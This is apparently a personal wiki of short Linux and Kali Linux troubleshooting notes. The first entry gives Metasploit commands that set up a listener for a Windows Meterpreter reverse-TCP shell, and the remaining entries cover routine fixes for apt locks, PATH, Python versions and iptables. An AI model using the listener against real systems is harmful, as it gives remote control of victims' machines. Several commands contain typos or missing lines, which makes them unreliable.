Wiki

Create a Metasploit listener

Steps to create a Metasploit listener: msf5 > use exploit/multi/handlermsf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp msf5 exploit(multi/handler) > set lhost 10.10.14.13 msf5 exploit(multi/handler) > set lport 9999 msf5 exploit(multi/handler) > set ExitOnSession false msf5 exploit(multi/handler) > exploit -j sessions -i 1

(Solution) – Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable

Using Metasploit I’ve sometimes seen this error:  [-] Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:1234). To solve it:  List processes listening on port 1234 lsof -i :1234 Kill a process with process ID 5678 kill -9 5678

(Solution) Could not apply stored configuration to monitors error

I received this annoying message every time I logged-in in my Linux distro. After a small search with Google I found this solution: cd .cofig mv monitors.xml monitors.xml.oldexit Restart and you won’t see that message again.

(Solution) Add a new directory to home path in Linux

To add a new directory to your home path you just have to append the new directory to the PATH: $vim .bashrc In the last line of the file just add this: export PATH=$PATH:/homr/username/newDirectory/ Finally, restart your terminal.

(Solution) How to get dkpg install the dependencies that requires

kali@kali:~/downloads$ sudo dpkg -i terminus-1.0.106-linux.deb kali@kali:~/downloads$ sudo apt-get -f install kali@kali:~/downloads$ sudo dpkg -i terminus-1.0.106-linux.deb

(Solution) Change python default version (Kali linux)

kali@kali:/bin$ update-alternatives –list python kali@kali:/bin$ sudo update-alternatives –install /usr/bin/python python /usr/bin/python2.7 1 kali@kali:/bin$ sudo update-alternatives –install /usr/bin/python python /usr/bin/python3.7 2 kali@kali:/bin$ sudo update-alternatives –install /usr/bin/python python /usr/bin/python3.8 3 kali@kali:/bin$ sudo update-alternatives –config python  Finally test everything is ok. 

(Solution) Install python-pip in Kali Linux

ruben@kali:/etc/apt$ sudo apt search python-pip ruben@kali:/etc/apt$ sudo apt search python3-pip ruben@kali:/etc/apt$ sudo apt install python3-pip Downloading the specific package and installing with dkpg can solve also the issue. https://packages.debian.org/buster/all/python-pip/download

(Solution) Unable to lock the administration directory (/var/lib/dpkg/) is another process using it?

Hello, To solve this issue when trying to apt-get your Ubuntu Linux use these commands: Option 1: ps aux | grep aptsudo kill processId Option 2: sudo rm /var/lib/apt/lists/lock Maybe it is also needed to:sudo rm /var/cache/apt/archives/locksudo rm /var/lib/dpkg/lock Regards,Rubén

(Solution) Reload iptables on every boot

Hi, To be able to load your iptables ruled every time your Linux system is restarted just follow these commands.$ sudo iptables-save /etc/firewall.conf Open /etc/network/if-up.d/iptables and add: Provide executable permission:$ sudo chmod +x /etc/network/if-up.d/iptable Now, your iptable rules will be loaded every time your Linux box is booted. If you need to modify your rules just execute:$ sudo iptables-save /etc/firewall.conf Regards,Rubén

(Solution) How to change the screen resolution Kali Linux using Hyper-V

Hi, In order to change the screen resolution to a Kali Linux using Hyper-V follow these steps: Add these lines to this file:sudo vim /etc/initramfs-tools/modules In the terminal type:sudo update-initramfs -u Reboot. sudo nano /etc/default grub GRUB_CMDLINE_LINUX_DEFAULT=»quiet splash video=hyperv_fb:1920×1080″sudo update-grub Regards,Rubén